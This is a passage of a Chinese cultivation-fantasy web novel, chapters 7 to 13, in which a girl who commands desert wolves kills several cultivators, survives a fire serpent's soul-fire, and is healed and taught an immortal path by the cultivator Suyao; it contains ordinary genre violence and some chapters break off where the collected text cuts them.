“相交多年?你这些年不过是利用我罢了。你仗着自己修为高,哪一次得来的好东西,你是肯分给我的?既然你无情,就休怪我无义!” 书生畅快大笑。如今罗刹火蛇已经翻不起多大风浪,这姓吴的也留之无用。多年郁结一夕尽除,陆腾脸上狰狞,果断出手将吴道 7. 第 7 章 [] 三枚飞镖轨迹刁钻,正落在两人必经之路。陆腾身法非凡,轻易避开飞镖,而那韩姓老者稍有不足,急切之下不慎中了一枚。他没有吴道友那样的体魄,立刻便感觉毒素蔓延,四肢麻痹。不过他有灵气护体,立刻封锁周身大穴,不管不顾朝罗刹火蛇攻去。 此时此刻,罗刹火蛇口中那燃烧生机才换来的最后一击,终于酝酿完成。火光冲天而起,卷动周围风势,竖起五道火焰旋风,大阵轰然破裂,无边火焰将两人吞没。 火焰中传来两声惨叫,陆腾皮肤被烧成了焦炭,却仍旧未死。他身法非凡,一击不成转身便跑,丝毫不做停留。韩姓老者运气熄灭身上火焰,脸色也是奇差无比。他一双浑浊老眼看着近在咫尺的猎物,深吸一口气,眼中迸射凶厉之色,手中浮沉一甩,立刻拧成一股,刺穿罗刹火蛇的右眼。 鲜血四溢,罗刹火蛇蛇头轰然倒地,砸起无尽黄沙。韩姓老者当即大喜,正要再接再厉,忽听不远处传来一声惨叫,却是陆腾头颅滚落,掉落在他脚下。 韩姓老者骇然欲绝,正此时,一头沙狼高高跃起,一爪将他拍倒在地。 这沙狼正是当日夙瑶来时,向沈莫笑提问的沙狼老者。此刻它再不复在学堂之上虚心求学的模样,身上散发凶悍之气,绿油油的双眸盯着韩姓老者,张开血盆大口,似随时都要将老者吞食。 “三,三阶沙狼!”韩姓老者一声惊呼。 沙狼乃大漠常见的妖兽,对于修行者而言,战力不算突出,且进阶困难,本来不足为惧。但二阶沙狼足可成为头狼,三阶足可笑傲沙漠,为大漠狼王。便是最弱的三阶妖兽,韩姓老者都不敢独自抗衡,何况这里是沙漠,沙狼在此占尽地理优势,连身法不俗的陆腾都惨遭毒手,他一人如何能斗得过! 更让他惊疑不定的是,这位狼王的身上,竟驮着一个八岁大小的女孩。 她一身粗布麻衣十分普通,却有着无法形容的美貌,手握短刀,气质冷凛中,透着一股说不清的贵气从容。只是她身上没有任何灵气波动,似乎只是个凡人。 本该桀骜不驯的狼王,被那八岁女孩一声令下,仰头对月长吼。数以千计的沙狼吼声连成一片,同时朝韩姓老者和罗刹火蛇撕咬而去。 一个凡人娃娃如何能驱使如此之多的沙狼,还能以大漠狼王为坐骑,这简直匪夷所思。说不得这就是个隐藏修为的高修大能! 韩姓老者大惊失色,也管不了那罗刹火蛇,连忙祭出数道遁地符,飞也似的逃窜。 他速度极快,转眼间跃出数里。身后尘烟弥漫,沙狼群紧追不舍。数个头狼施展妖法,顿时狂沙起舞,大漠卷起了沙尘暴。 若是平时,韩姓老者怎会畏惧沙尘暴,可他现在身负重伤,灵气所剩无几,加之中了那飞镖之毒,反应慢了许多,竟是被那铺天盖地的沙尘暴卷起,飘在空中。 伤口撕裂,血液被狂风沙尘扬的到处都是。韩姓老者痛苦不已,连连惨叫,身上的毒素扩展更快,转瞬间要了他半条命。 可他毕竟是混了修真界几十年的散修,保命手段仍有一些,此刻手掐符箓,默念符咒,耀目光芒从符箓之上涌现,于狂沙之中,幻化出万千刀光剑影,竟生生将沙尘暴切成无数孱弱风势,很快便消弭无踪。 韩姓老者还没喘一口气,便见那狼王飞扑而来,其上那女孩手握短刀,目中杀意澎湃,朝他当胸刺来。 韩姓老者连忙躲闪,却见那刀势一变,竟变道斩向他手腕。这一招又快又准,韩姓老者躲闪不及,手筋被轻易挑断,洒下一条血线。 就算如此距离,生死之搏,这女孩依旧没有任何灵气波动,分明就是个普通人。但她一手刀术十分刁钻,像是凡间江湖中的杀人术。 沙狼已经将他团团围住,就算他想跑,以现在的状态也跑不远。韩姓老者心中快速思量,眼底闪过深沉之色。 “这女娃装神弄鬼,怕只会些凡人的伎俩,沙狼都听她指挥,我若将她擒下,便可解今日之危!” 他快速吞下一颗丹药,浮尘卷动,荡开狼王扑击,同时飞身而上,径直朝那女孩抓去。 “他手筋应该已被我挑断,竟还可行动自如,行动间不受影响,此人倒也有几分本事。” 沈莫笑已经足够谨慎,未料到这老东西还有还手之力,立刻让狼王载着她退去,让那些头狼与之缠斗。 且说夙瑶拉着云雪圣使赶往女孩居所,灵识扫视之下,却不见此人踪迹。而大漠沙狼涌动,不管不顾的奔向一处。两人顿觉情况有异,便隐藏气息,跟着那群沙狼之后,想看个究竟。 行至一处,上千沙狼排兵布阵般静静蹲伏,似在等待着什么。 感受着大漠异于平日的灼热,夙瑶眼中闪过明悟,道:“此地地火丰沛远胜之前,恐怕今夜会有天材地宝诞生,抑或妖兽进阶。这群沙狼,应是在此等待良机,取宝杀兽。” 云雪圣使皱了皱眉道:“我没有感觉到有天材地宝的痕迹。除了各大宗门所在之处,凡间灵气匮乏,但这大漠地火灵韵颇多,属性暴虐,却不能为修仙者所吸纳。纯阳妖兽则因体魄不凡,可以承受地火灵韵,妖兽进阶极 8. 第 8 章 [] 她们看着那人手起刀落,斩掉一名焦黑修士的头颅,看她从容不迫的指挥狼群攻击,看她半身染血,依旧意气风发,将三个修士头颅抓在手中,高高举起。 狼啸连绵百余里,响彻云霄,经久不散,似在为它们的王者欢呼喝彩。 这一幕何其震撼,两女心中都涌现惊涛骇浪,久久无法平息。 这世上真有一个天生王者,凭稚童之身驱使大漠狼王,让上千沙狼为她冲锋陷阵。这便是他们修仙者都难以做到的事。 云雪圣使呐呐无言。她早已听闻此女不凡,未想到竟是这般人物。她转过头想对夙瑶诉说震惊,却发现好姐妹此刻心神,已经全放在那八岁女童身上,眼中异彩连连,掩饰不住的欣赏。 夙瑶一向眼高于顶,也不得不为眼前之景震慑心神。明明只是个毫无修为仙基的凡人,竟给她带来如此惊喜。天道待她不薄,她的道侣,果然不是平庸之辈。 原本的兴师问罪,已成了一场视觉盛宴。夙瑶心中最后一丝迟疑烟消云散,望向那一身铁血的女孩,眸中满是期待。 这样的人,这样的气魄,这样的风采,日后若修仙,又会如何出众? 无论是被沈莫笑砍下首级的几个修士,还是奄奄一息的罗刹火蛇,都在沙狼的啃食下,很快就化为枯骨,血肉无存。 一团赤红魂火从罗刹火蛇身躯中缓缓钻出,火焰虽小,炽热的温度却让沙狼们无法靠近。沙漠中蛰伏窥伺的妖兽,此刻齐齐显出身形。这些妖兽平日畏惧罗刹火蛇的威势,不敢与之为敌,却在魂火出现之时,想要掠夺。 密密麻麻的妖兽足有数百,其中不乏二阶三阶的妖兽。有的灵智已开,有的只凭本能被魂火吸引。狼群与修士之间的战斗持续太久,不断引来妖兽,这数目还在增加。 听得座下狼王描述,沈莫笑心下一沉。她知道沙狼虽然悍勇,但大多数只是一阶的妖兽,断然抵抗不住这么多高阶妖兽的攻击,心中立刻有了决断。 她正要指挥狼群暂时退去,忽而一道火光闪过,热浪扑面而来。狼王反应敏锐,驮着沈莫笑避开火焰。 一只周身萦绕黑火的大漠火蝎飞掠而来,直冲那魂火扑去。十几只沙狼立刻将火蝎扑倒,群起攻之。蠢蠢欲动的妖兽们再也按捺不住,蜂拥而来。 一场恶战掀开帷幕,狼王带着沈莫笑且战且退,十几只头狼悍不畏死,护着狼群如潮退去。 那静静漂浮的魂火,却突然暴躁颤动,趁着妖兽们争锋的间隙,直接飞入沈莫笑微张的口中。这火焰速度太快,沈莫笑与妖兽们都没有反应过来。一股暴虐火焰在她体内升腾而起,竟是要将她的血液都烧干。 “不好!这罗刹火蛇的魂火也有它一丝意识,竟不甘惨死,进入我体内,想要将我焚烧!” 她已经没有修为,根本抵抗不住魂火灼烧。如果不是当年被仙气锻体,体魄非常人所及,且那罗刹火蛇尚未晋升四阶,这一下便可将她杀死。 如今只能回到住处,得紫衣相助方有一线生机。 热浪滚滚,皮肤通红如血,如坠岩浆之中。沈莫笑拼命维持意志清醒,却还是低估了魂火的威力。只是片刻,她的意识就开始涣散,浑浑噩噩中,她听到沙浪群一阵躁动,似有一道女音自天外而来,声音清冷悦耳,又朦朦胧胧挺不清晰。 随后一股清凉的气流涌入身体之中,轻松压制了那几欲爆体的力量。 体温瞬间恢复如初,她能清晰的感觉到,眉心有一点温暖残留。恍惚间,她仿佛看到了一个蓝衫女子,熟悉的轮廓,熟悉的感觉,像是远在天边,又像近在眼前。 “是暖暖吗?”心中这般想着,沈莫笑再也支撑不住,晕厥过去。 三日后,沈莫笑再次醒来,入眼是朦朦胧胧看不真切的阳光,身下是柔软舒适的床榻,耳中是鸟儿叽叽喳喳的歌声,鼻尖药香萦绕,似有若无,温暖潮湿的空气带着草木清幽,像是身处雨后的竹林。 沈莫笑挣扎着起身,仔细感受了一下,愕然发现,她五感已恢复其四,只有视力尚有不足,只能看到模糊景象。 日夜陪伴的小十八不在身边,身处一个陌生的环境,沈莫笑毫无安全感,她摸索了半天也没摸到她随身携带的短刀,只好起身下床。 不知道是不是躺的太久,她浑身上下无一处不酸痛难耐,摇晃了几下才站稳身形。脑中恢复了几分清明,她便迫不及待摸索着前行。她还记得昏迷前,那不知是幻觉还是现实的蓝衫女子,像极了暖暖。 “会是她吗?”怀着几分忐忑,几分期待,沈莫笑踉踉跄跄走出屋子,迎面撞上了一个人。 “你是师父新收的弟子吗?”那人声音清脆,尚有稚嫩,分明是个十来岁的小女孩。 沈莫笑不知此处何地,也不知女童所说的师父是谁,便道:“足下是何人,此处又是哪里?” 眼前忽闪了几下,那女童似乎在对着她挥手,见她毫无反应,这 9. 第 9 章 [] 夙瑶将那药碗随手一扔,正扣在一个偷看的小童脑袋上,那小童立刻缩着脖子逃走。她这才引着未来道侣,慢悠悠来到竹林里一个石桌旁坐下。 竹林清幽,隐隐有孩童练习术法的声音从远处传来,几只调皮的鸟儿落在石桌上,好奇的打量着一站一坐的两人。 许久不见动静,沈莫笑轻轻开口:“仙子,我并非……” 话还没说完,夙瑶便冷声打断,道:“你说话前,最好想清楚。我夙瑶平生最讨厌满口谎言,虚伪欺诈之徒,你若不愿说真话,大可不说,说出的话,便一定是真的。我容你一次,容不了你第二次。我救你性命,不计较你出身来历,也不愿听那些敷衍之词,只盼你如我一般坦荡,真诚相待。” 夙瑶一席话,直接将沈莫笑想好的说辞堵在了喉咙里。她驱使沙狼灭杀妖兽修士的场景被此女看到,只怕夙瑶已经猜到她并非普通人,而是个落难的修士。如今她容貌身形乃至声音都变得跟以往不同,又是个病痛缠身的残障人士,夙瑶应该没有认出她。她这样说,分明是给她坦白的机会。 此女与她十年后见面两次,两次助她,于她有恩,她便不能再以小人之心度君子之腹。完全坦诚根本就是在找死,那便只能顺了她的意,闭口不言。 见她不语,夙瑶多少有些失望,红唇微抿,道:“你可知罗刹火蛇是何其凶险之物,你竟不自量力想获取它的魂火,若不是我与友人恰好就在附近,你如今已没了性命。” “我初时不知罗刹火蛇之事,只因三名修士无故猎杀我的沙狼学生,便一路尾随想讨个说法。三名修士实力不俗,我若想留住几人,便只能让他们自相残杀,找机会下手。不想罗刹火蛇竟迁怒于我,用魂火偷袭。此事我所料未及,幸好有仙子出手相助,方才幸免于难。初时见仙子,便觉你非常人。仙子果然仁德无双,侠义心肠……” 伸手不打笑脸人,沈莫笑立刻马匹连连。夙瑶眼见这人恐有十万字腹稿的样子,立刻出言打断道:“如此说来,你是为沙狼报仇,所以偶然撞破三名修士杀蛇取火。那上千沙狼为何能受你驱使,难道仅仅只是你教授他们圣人之言,便可如臂挥使,为你马前卒?” “我以圣人之言驯化沙狼,是为它们明事理,懂人伦,不生出祸端,残害人命。可若是旁人加害,又岂可任人宰杀。多年相处,情同家人,我为沙狼报仇,自有沙狼相随,学生又怎会不庇护夫子呢?” 这一番话说的夙瑶为之动容。人与妖兽素来仇视,在修真界如此,在凡间亦如此。便是有修士可驯化妖兽,也多会立下契约,以主仆之分,不以为同类也。至少她走遍神州,都没见过人与妖兽如此和谐,竟相互依存,情同家人。 夙瑶心中一阵叹息,此女戒心太强,恐怕她再试探,此人也有诸多理由搪塞,那便只能日后再互相了解,倒也不急于一时。 “罗刹火蛇的魂火至刚至猛,蕴含地火灵韵。你服用魂火,沾染了罗刹火蛇的气息,此后对火焰耐受力极强,若是日后走入仙途,还可将体内残余魂火炼化,助长修为。不过你内脏被魂火所伤,需要调理一段时间,才能恢复。” 实际上,罗刹火蛇的魂火妙用极多,但普通人根本无福消受,魂火入体便是个死。云雪出手帮忙,才让那爆裂魂火安分下来。若是旁人得此机缘,说不得有机会开启仙基,增强体魄,重塑经脉,受益无穷,但她这小道侣身体有异,这三阶妖兽的魂火,对她的增益也仅仅是多了一点火焰耐受力而已。 夙瑶曾用天眼通探查过她的身体,但始终无法看透玄机。仿佛有什么力量封印了她的灵台,看着与常人无异,实则处处透着诡异。当初一枚丹药,辅佐她的悬壶真气便能解决的问题,也变得复杂了起来。 她大可以直接询问此女,但很大程度会收获失忆、不知道这样的虚言,便实在不愿废话。夙瑶不喜旁人对她撒谎,同样也不会因为一个谎言便改变自己做人的原则。她的姻缘是天道所定,虽从未想过与谁结伴一生,但既然有缘,她便无法放任不管。 夙瑶说的轻描淡写,沈莫笑却知道,若无此女相助,她一定会因为魂火入体而身亡。心中百感交集,竟不知如何谢她,只能转移话题道:“我遇到仙子的徒弟,他们说此处是仙子的法宝所幻化。仙子救我来到此处,不知可曾也救了我那群沙狼学生?” 此人倒也有些情义。夙瑶审视她良久,方才淡淡道:“我已将那些妖兽驱除,你的沙狼学生无碍,可放心在此处休养。” 沈莫笑松了口气,真心实意的道谢。 夙瑶又道:“你我相识一场,我给你两个选择。你若心在红尘,我送 10. 第 10 章 [] 转眼间,两个月过去。 自那日夙瑶答应沈莫笑教授她仙法后,便让她每日劈柴烧水,煮茶做饭,绝口不提修仙之事。从清晨到日暮,沈莫笑几乎没有歇脚的时候,被折腾得筋疲力尽,还要泡在药浴里睡觉。 那药浴一如那日她喝的苦胆水,苦到窒息,常常将她熏醒,后悔恢复了嗅觉味觉。沈莫笑不是没有大毅力的人,她苦等十年,忍受病痛折磨,终于等来夙瑶这唯一的希望,从不叫苦叫累,咬牙撑了两个月。 若说这两个月唯一的收获,便是精力越来越旺盛,每日就算不睡觉也神采奕奕,身上有使不完的力气。十年来动不动痛苦抽搐的隐疾也再没复发过,除了视力仍然没有恢复,她好像真的变成了一个正常人,便是连身高都长了一点。 日子虽然辛苦,总算有了盼头。沈莫笑更加勤快,不再需要夙瑶指示,做事更尽心力。每日劳作之后,还能对着竹子打几套拳法,发泄一下过于旺盛的精力。 夙瑶每五日归来一次,考核四个弟子的修行进度,顺便看一看她的阿竹,给她治病疗伤。两个月后,她归来的次数越来越少,每每都要七八天才回来看一眼,带回些日常所需,便匆匆离开。 这一日,沈莫笑照常在林间砍伐竹子,听到后面有脚步声,立刻扬起笑脸:“姐姐。” 夙瑶已经十天没有出现,沈莫笑这一声姐姐叫的真情实意,带了一点久别重逢的欢喜。 夙瑶一身白衣,风尘仆仆,便是连发丝都有些凌乱。她迈步走过去,照例在她小脑瓜上弹了一记,笑道:“我在百步外你都能知道是我,听力又长进了。” 沈莫笑揉着小脑门,微笑不语。夙瑶停留在竹林的时间不多,所以不知道,根本没有人愿意跟她接触,来人只可能是夙瑶。 这并非那四个小童对她不善,是因为她实在没有做饭的天赋,每日的饭菜都是由她负责,那四个小童吃了两个多月的毒药,最后宁愿啃竹子也不愿吃她做的饭,还能活着已经实属不易,视其为洪水猛兽。加之沈莫笑没有跟小屁孩相处的兴趣,一贯沉默寡言,只懂干活,还因为每日浸泡药浴,远隔数十米都能闻到一股子苦味。久而久之,那些小童便不再叨扰她。 夙瑶将她带到居所。甫一坐定,便从储物袋中取出一枚尚且温热的丹药。 “此物乃开庭养心丹。可令你开启仙基,养护心脉。若是顺利,五日内,你便可开始修行。” 沈莫笑接过丹药,手指都在颤抖。她等了太久,此刻心情激荡,竟是说不出一句话来。 毫不犹豫将此丹吞下,沈莫笑顿时感觉浑身暖洋洋舒服,心脏更是焕发蓬勃生机,跳动都比平日更为活跃。尚未等她体会更多妙处,眉心便落下一指。 夙瑶不惜成本,耗费无数昂贵药材熬制的药浴,已将她积存在体内十年之久的丹毒溶解弱化,此刻悬壶真气涌入,那些顽固的丹毒,摧枯拉朽的散去。两个月来,高强度的劳作,将药浴药性融汇全身,经脉畅通无阻,焕发勃勃生机。悬壶真气如入无人之境,直至进入心脏,开始滞涩。 这一过程持续了两日,在夙瑶全力施为下,受损的内脏经脉愈合如初,甚至更为康健。当日帝君泽留下的一颗魔种,本被丹毒桎梏于心脏,此刻反哺肉身,蓬勃的生机随着心脏跳动,在身体每一处角落萌芽,经由禁术改造的肉身,也开始显现原本的模样。 残月拼着性命不要,施展出的大轮回转生术,不仅仅是改变容貌骨肉,使她变成了另外一个人。还将沈莫笑原本的肉身重塑,完全吸收了她体内残留的仙气,使之体魄之强,比之炼体的武道修士毫不逊色。 只因残月施展禁术时,修为不足,靠着尚未消化的一肚子妖兽内晶才勉强施展,效果大打折扣,新成型的肉身并不稳定,使得沈莫笑十年来饱受隐疾摧残之苦,动辄抽搐绞痛。又因丹毒爆发,滞涩了经脉,使之五感渐去,灵气溢散,仙基渐隐,一身修为无法施展。 如今,开庭养心丹彻底激活了经脉蕴含的仙基。沈莫笑能清晰的感觉到灵气的流动,只需她动一动心念,便可接引天地灵气慢慢恢复修行。碍于夙瑶在身边,她压制住这种想法,没有行动。 随后,夙瑶又施法冲击沈莫笑的灵台。 灵台乃修士最重要的地方,可储存修为灵气,生生不息。修士所具备的仙基,大部分都寄存在灵台,小部分分布在经脉窍穴中。残月妖兽帝王的封印,也同时封印住了沈莫笑的大半仙基。夙瑶想要将她彻底恢复,灵台便是必经之路。但饶是夙瑶这样的六道金丹强者,都无法单凭修为破除封印。 如此又过了三日,沈莫笑身体里的残毒尽去,肉身稳固,气力更胜从前。夙瑶灵气枯竭,强行破封不成,遭遇反噬,口吐鲜血,终止了治疗。 沈莫笑睁开眼睛,视野清晰无比,近在咫尺的女子仙颜绝世,只是皮肤苍白无血,显然耗损极大。 恍惚间,她仿佛看到了十年前在月下调笑她的师姐,看到了在鬼菩提洞天被她差点坑死的女子。十年过去,夙瑶更美了,尤其那双眼睛,深 11. 第 11 章 [] 沈莫笑每动一下,全身的骨头都咯吱作响,但却仍然忍着巨大痛苦,拉起夙瑶,扶着她走向床榻。 不知是不是损耗太大,夙瑶躺在榻上,不多时便睡了过去。沈莫笑唤了她几声,见没什么回应,正想转头就走。忽而想到了什么,止步看向夙瑶。 静静沉睡的绝色女子似乎全无防备,呼吸均匀,发丝有些凌乱,因着细汗贴在面颊上。沈莫笑僵硬着动作,伸手将那些乱发整理好,看着她苍白虚弱的脸,微微抿了抿唇。 “你于我有再造之恩,我沈莫笑也非狼心狗肺之徒。便是日后你识破我的身份,我也不会与你为敌。此恩必有回报。” 心中这般想着,她抱拳对着夙瑶拜了三拜,双指并拢点在她身上几处穴位,开始按照记忆中的手法按摩。 她前世小时候训练时,每次体力耗尽,虚弱不堪的时候,教官就会用这种方法给她按摩。说不清这具体的玄机,但每次按摩后,第二天她都能生龙活虎,精神充沛的投入训练。 大概对于修仙者而言,这种凡俗的按摩手段,效果还不如打坐修行几分钟。但沈莫笑现在没有修为,也不敢有修为,心中感激夙瑶恩情,若不做些什么,总觉羞愧难当。哪怕这按摩能给她带来一点好处,她也愿意尝试。 这独有的按摩手法,极其耗费指力,沈莫笑每次用力都痛苦不堪,仍咬牙坚持为夙瑶按摩。一套下来,夙瑶脸上果然有了红润之色,气息也更为绵长舒缓。沈莫笑大喜,再接再厉,直到第二套完成,她终于支撑不住,身体一晃,彻底昏迷了过去。 夙瑶幽幽睁开眼睛,看着趴在她身上,睡成死猪的少女,微微抿了抿唇。她长这么大,还从未有人敢如此大胆的对她上下其手,只是那感觉太舒服,她竟不想阻止。 救人本是兑现承诺,如此亲密却还是平生第一次。夙瑶想到这便是她日后的道侣,心中难免有些异样。 “罢了,只是个孩子。” 夙瑶叹息一声,心中颇为复杂。 她已经将阿竹的怪病治好,但她体内仍留存着数股力量。这些力量有的在维护她的生机,有的结成封印,有的与肉身融合,使之体魄更为强大。尤其是灵台的那封印之力,以她六道造诣,竟无法破除。她能感觉到,那封印中的东西,将解开阿竹身上所有的秘密。 若冒然强破封印,以阿竹还是凡人的身体绝对承受不住,此事唯有日后筹谋。夙瑶不再纠结,将她安放在榻上,自己也躺下,无声的望着阿竹。 少女令人惊艳的容貌已经开始展露头角,眉眼五官更为立体。睫毛恰似鸦羽,长而细密,鼻子秀美挺翘,一如陡峭峰峦,让她整张脸多了几分英气飒爽。有一点苍白的唇,微微张着,露出里面洁白如玉的贝齿,完美的下颌线延展出雪白的脖颈,其下锁骨隆起,像飘飞的蝴蝶,骨型完美。 再往下,便是…… 夙瑶的目光落在少女刚刚发育出的一点隆起,微微错开眸子,脸上红霞如画。 翌日清晨,夙瑶醒来,只觉全身的气血流动更为顺畅,比往日还要精神许多。以她昨日灵气亏空的情况,已经做好七八日才能恢复的准备,未想仅仅一夜便恢复了小半。这自然是阿竹的按摩起了作用。 夙瑶活动了几下身体,心中对自家小道侣更好奇了几分。只是她从不强求人,想到阿竹之前那欲言又止的闷葫芦样,便熄了问询的心思。 “这小家伙深藏不露,本事倒不少,不知道还有多少秘密。这世上没有捂不热的石头,我这般诚心待她,日后总能等到她坦白那天。若她真的是那铁石心肠的人,我也算了了缘法,再无牵绊。” 夙瑶心中思量,听得门房响动,立刻躺下,眉宇间已经多了几分虚弱之感。 沈莫笑将洗好的水果摆在桌子上,看到夙瑶正一眨不眨的盯着她,连忙上前道:“姐姐好些了吗?” 夙瑶勉力撑起身子,声音虚弱道:“无妨,无非要休养一段时间。你的身体可还有异样?” 沈莫笑见她气息飘忽,脸色苍白,却还在关心自己,心中更为愧疚,如实道:“并无异样。姐姐好生休养,如有所需,尽管吩咐。” 夙瑶静静看她良久,眸光一动,道:“你如今开启了仙基,虽只是后天下品,亦可修行。天地分三界,为仙界、虚空界、凡间。我们所在的凡间,灵气最为匮乏,各大灵脉所在,都被正统仙门占据。而在凡间郑炎雪乌四国中,共有九大正统仙门,为仙、魔、武、佛、医、儒、巫、鬼、神兵九道,与虚空界一致,通常被称为神魔九道。凡人若想修仙,便要开启仙基,学习功法,接纳天地灵气,感悟天道灵韵。我师出郑国浩然门,学习的是正统的儒道仙法,只是因为一些原因,我同时习得六道正统仙门的功法,儒仙鬼,医佛巫皆学有小成,无论你想学哪一道,我都可以传授给你。” 这些知识,沈莫笑在浩然门修行时便已经知道,夙瑶早已猜到她并非普通人,却依旧详尽解释,分明是将她隐藏身份的事轻飘飘揭过。沈莫笑心中感动,同时颇为震撼。 她没想到,夙瑶竟也是数道兼修,且足有六道之多。都过了这么多年,她恐怕早已结成金丹,就是不知,这六道是否都是金丹,若真是这样,她的实力恐怕是元婴老怪都望尘莫 12. 第 12 章 [] 六道讲述完毕,夙瑶接过沈莫笑递来的茶水,轻轻饮下。 “六道各有所长,不分高低,你无论选择哪一道,都要下苦功夫。数道兼修固然是好,但仍需有一道作为主修,不然难以登顶。你刚刚修行,不可贪多,只能选一个。” 听得夙瑶训导,沈莫笑点了点头,左思右想,实在难以抉择。 她恐怕要跟夙瑶学习很久,若是担心身份暴露,学习儒道是最好的选择。她本身就有儒道修为,只是这十年来因诸多原因无法修行,但经脉顺通之后,她便知道那修为并没有失去,只要她运行儒道功法,花费一些时间,便能恢复如初。 但她现在只是后天下品的仙基,如果修行提升过快,一定会让夙瑶警觉,到时不好解释。若按部就班的按照普通人那样修行,又太过浪费时间。她已经等了太久,不想再空耗光阴。 为今之计,只有先修行其他,日后脱离夙瑶,再继续修行儒道。 沈莫笑下了决心,又开始犯难。夙瑶会的太多了,每一道都有独到之处,哪一个都对她有莫大吸引力。 在凡间基本很难学到的仙道,又能治病又能炼丹的医道,可以让自己多了无数条命的鬼道,可克制一切阴邪之力的佛道,奇诡莫测,变化多端的巫道,实在难以选出一个。 但她也知道自己几斤几两,不可能厚脸皮全部讨要,在夙瑶心中形象降低不说,还会因所学太杂,难以精进。 最终,沈莫笑还是将这个问题重新抛给了夙瑶:“我也不知道自己要学什么才好,请姐姐帮我选一个。” 夙瑶早知如此,手一翻,掌心出现了一个散发五彩霞光的玉石。 “你过来摸一下。” 沈莫笑依言照做。手指触碰到玉石上,那些霞光便隐没在她的手中。朦胧中,似乎有什么沧桑古朴的乐声传来。眼前场景变幻,她置身天地,脚下万里江河,头顶朗朗晴空。 她独自浮在半空良久,看到有无数仙人从天上飞下,有男有女,在她身边萦绕。女仙衣带飘香,风姿绰约,男仙剑眉星目,俊朗非凡。这些仙人目光带着三分情谊,七分勾引,眼中满是秋波。 沈莫笑不动如钟,对这些不正经的仙人毫不感兴趣,像轰苍蝇一样挥手让他们不要来烦她,场景再次变幻。她一身龙袍,端正坐在龙椅上,下方文武百官山呼万岁,身旁太监极尽谄媚恭敬。沈莫笑皱眉,不耐的起身,一脚踢翻龙椅,扬长而去。 这一次,她来到了山野荒坟前。纸钱翻飞,绿火摇曳,阴风阵阵中,那坟丘突然裂了一道缝,一个浑身腐臭的苍白鬼物从中钻出,它身形还没完全出来,沈莫笑便一拳砸了下去,直接将那鬼物脑袋砸掉。 于是沈莫笑成功换地图,视野稳定后,看到有一位魁梧大汉站在她身前,自称她师傅,要通过切磋教授她功夫。沈莫笑尚未回应,那大汉便直接冲了过来,气势惊人,竟是要往死里打的架势。沈莫笑浑然不惧,一套拳法教他做人,将那大汉打的头破血流,哀嚎不已。 随后,她又来到一处祭坛,周围都是神神叨叨的村民,口中诵念着根本听不清的话,像疯子一样围着她转圈圈。这还不算,有一个浑身画满了花花绿绿图案的老者,拿起一个火把便朝她扔来。沈莫笑大怒,连忙一脚踹去,那火把倒飞而去,直接将老者点燃。现场混乱一片,村民仿佛受了刺激,纷纷朝她攻去。沈莫笑立刻跑路,顺手一把火烧了祭坛。 场景又变,沈莫笑躺在一个破草屋内,一个医师打扮的老者正拿着银针,想要扎在她身上。沈莫笑怎可让一个陌生人对她随意施为,立刻挥拳将老者鼻子打歪。 破草屋轰然破裂,她又出现在一个寺庙之内。庙里都是和尚,围着她讲经说法,劝她放下屠刀立地成佛。沈莫笑冷笑一声,只觉他们一个个虚伪不堪,劈头盖脸便是一通大骂,将那些和尚骂的面如土色,哑口无言。 紧接着,她来到一处荒芜剑冢,满地都插着神兵利器,其上光华涌动,显然不是凡物。沈莫笑大喜,立刻解下外衫,撕成布条,将所有神兵利器打包,拿不了的便用其他兵器毁掉。最后满身都是兵器,这方剑冢中,也堆满了被她损毁的破铜烂铁。 最后,她身在一处血海之上,对面是一个与她长相一模一样的人,只是气质更为疯狂嗜血,一身戾气十分邪异。那人一言不发,直接朝她攻去。沈莫笑毫不畏惧,立刻与之大战三百回合,斗到筋疲力尽,凭着毅力生生将此人磨死。那人身上的戾气进入了她的体内,她大笑数声,只觉腹中饥饿,低头便狂饮血池中的血液。 不知过了多久,沈莫笑终于回到熟悉的场景。她晃了晃头,发现那霞光重新回到了 13. 第 13 章 [] 夙瑶扶着额头,眼中明暗不定。心想老天爷真是给她塞了个麻烦精,她的道侣竟然是一个贪财多疑,好战利己,天不怕地不怕,对天地大道毫无畏惧之心的傲慢之徒。唯一可以称赞的是,她不好色,对漫天的神仙男女都毫无兴趣。 这可是自己的未来道侣,这不好色却又成了个不算太好的优点。 见夙瑶久久无言,沈莫笑也知道自己把事情搞砸了,弱弱道:“不然,咱们再测一次?” 夙瑶心绪还没平定下来,便任由她尝试。 一次,两次,三次……十多次过去,沈莫笑脸色苍白,满脑门汗,精神耗损太大,已经有些吃不消了。 场景变幻每一次都不同,但结果却惊人的相似。她盯着眼前出现了十多次的“魔、神兵”三字,一咬牙,道:“最后一次!” 随后,她自我催眠了片刻,确定这次准备充分,一把夺过夙瑶手中的石头,进入幻境。 过了半晌,她重新睁开眼,盯着眼前孤零零的“魔”字,同样陷入了凌乱。 夙瑶收回玉石,将那“魔”字一掌拍散,淡淡道:“你在儒道和仙道的造诣不俗,可以任选其一。” 沈莫笑眨眨眼,对这位不喜欢别人撒谎,刚正骄傲的姐姐有了全新的认知,尝试着问道:“那刚刚的字……” “那不重要。”夙瑶毫无睁眼说瞎话的自觉,脸上从容不迫,一丝尴尬也无,“你才思不俗,修行儒道必定成就远大。仙道极难修行,还要兼修符法阵法,一旦修行,速度不会太快,但同阶之中,罕有敌手。” 沈莫笑立刻会意,一脸深信不疑的样子,选了仙道。 随后,夙瑶便将仙道入门的导引术口述传给了沈莫笑,交代了一些修行上的问题,便挥手让她离开。 沈莫笑回到自己的小竹屋,将导引术在脑中过了几遍,暗暗称奇。 仙道修行,与儒道不同,乃是直接接引天地灵气汇聚自身,开启周身窍穴,非以经脉运行功法。这导引术,便是可以让凡人感受灵气,夺造化之功,引气入体。 在浩然门当记名弟子时,修行功法只有三重境界,而这导引术,则足足有九重。分别为通感,顺阴,调阳,纳气,融汇,承灵,内巡,存海,点窍。 点窍之后,体内窍穴显化,便可进入练气期。 这还只是个入门的导引术,便如此复杂,可想而知,仙道修行有多困难。沈莫笑好不容易等到修行的机会,自然不肯放过,立刻就开始修炼起来。 夙瑶的讲解言简意赅,说出的每一句话都是直达重点,没有废话,不比浩然门功法里的讲解逊色,沈莫笑很快就进入状态。 通感顾名思义,便是沟通五感,让凡人更清晰的感受天地灵气的存在。沈莫笑修行儒道早有经验,这一过程顺遂无比,不多时便已突破。 十年前那异于常人的敏锐五感,重新回归,甚至比以前还要强。沈莫笑可以感受到灵气的走向,仅凭肉眼便可分辨天地灵气的多寡,远处的小虫纤毫毕现,连翅膀的纹理都一清二楚,空气的流动声,林间小溪的水声都清晰无比的传入耳中…… 